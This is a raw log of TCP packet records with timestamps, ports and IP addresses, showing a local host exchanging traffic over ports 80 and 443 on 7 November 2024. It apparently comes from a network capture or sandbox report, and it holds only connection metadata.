Nov 7, 2024 17:25:42.299501896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.299526930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.343981028 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.344013929 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.344180107 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.344360113 CET	49944	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.344377041 CET	443	49944	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.390490055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.390532017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.390543938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.390549898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.390580893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.390849113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415004015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415015936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415028095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415040016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415050030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415069103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415069103 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415081978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415092945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415127993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415132999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415146112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415158033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415164948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415169954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415183067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415194035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415195942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415208101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415222883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415239096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415290117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415358067 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415458918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415468931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415479898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415493011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415503025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415529966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415606022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415749073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.415750980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.415815115 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.444256067 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.444983006 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.445010900 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.445631981 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.445638895 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.458204985 CET	443	49939	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.458507061 CET	49939	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:42.458532095 CET	443	49939	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.458894968 CET	443	49939	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.459070921 CET	443	49938	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.459748030 CET	49938	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:42.459774971 CET	443	49938	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.459923983 CET	49939	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:42.460037947 CET	443	49939	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.460169077 CET	443	49938	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.460505962 CET	49938	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:42.460582972 CET	443	49938	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:42.506656885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.506721973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.506762981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.506798983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.514153957 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.514200926 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.514266968 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.514633894 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.514664888 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.514714003 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.514894009 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.514914989 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.515047073 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.515400887 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.515440941 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.515501976 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.515655041 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.515688896 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.515921116 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.517632961 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.517652035 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.517894030 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.517910957 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.518218040 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.518248081 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.518443108 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.518465042 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.518659115 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:42.518673897 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:42.525954962 CET	49938	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:42.528779984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.528794050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.528806925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.528829098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.528853893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.529710054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.529726982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.529758930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.529784918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.529851913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.529900074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.530531883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530544996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530556917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530567884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530584097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.530618906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.530704975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530718088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530730009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530739069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.530741930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.530772924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.530802011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531050920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531064987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531078100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531099081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531128883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531157017 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531197071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531208992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531236887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531248093 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531716108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531728983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531740904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.531754017 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531768084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.531788111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.572321892 CET	49939	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:42.581676006 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.581705093 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.581743956 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.581748962 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.581804991 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.582056046 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.582067013 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.582084894 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.582089901 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.585602999 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.585629940 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.585809946 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.586062908 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.586075068 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.643543005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.643584967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.643595934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.643613100 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.643646955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.643646955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.643707991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.643779993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.644870996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.644896030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.644906998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.644932032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.644964933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.645216942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645229101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645240068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645252943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645261049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.645266056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645292044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.645319939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.645896912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645925999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645936966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.645967960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.645992041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.646251917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646265030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646275997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646301031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.646301985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646317005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646322966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.646328926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646342039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646351099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.646383047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.646951914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646964073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.646976948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.647012949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.647036076 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.655143976 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.655740023 CET	49940	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.655776024 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.656250954 CET	49940	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.656260014 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.758225918 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.759258032 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.759279966 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.759587049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.759658098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.759676933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.759690046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.759723902 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.760472059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760483980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760504007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760514975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760535002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.760555983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.760654926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760694027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.760725975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760737896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760747910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760761976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760799885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.760827065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760838985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.760893106 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.761554956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761568069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761585951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761617899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.761651993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.761692047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761708975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761722088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761733055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761734009 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.761750937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.761765957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.761805058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.762440920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.762453079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.762465954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.762478113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.762504101 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.762522936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.764061928 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.764085054 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.787287951 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.787796974 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.787977934 CET	49940	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.788016081 CET	49940	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.788034916 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.791541100 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.791595936 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.791901112 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.792068005 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.792084932 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.856865883 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.857472897 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.857496977 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.858072042 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.858078003 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.876477003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876580000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876581907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876595020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876616001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876627922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876631975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876641035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876662016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876674891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876686096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876687050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876703024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876705885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876723051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876749039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876812935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876847029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876876116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876926899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876940966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876944065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.876967907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.876979113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877012014 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877233982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877245903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877257109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877293110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877304077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877315998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877316952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877332926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877337933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877355099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877373934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877830029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877860069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877871037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877888918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877899885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.877914906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.877943039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.894766092 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.894936085 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.895117044 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.895368099 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.895382881 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.895395041 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.895401001 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.898546934 CET	49953	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.898596048 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.899363995 CET	49953	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.900007010 CET	49953	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.900023937 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.986217976 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.986356020 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.986474037 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.986624002 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.986639977 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.986649990 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.986656904 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.989698887 CET	49954	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.989734888 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.989896059 CET	49954	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.990066051 CET	49954	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.990077019 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.991581917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.991692066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.991704941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.991774082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.991803885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.991811037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.991823912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.991833925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.991844893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.991864920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.992300034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992348909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992361069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992398977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992408991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.992409945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992422104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.992434025 CET	80	49911	95.215.204.182	192.168.2.6
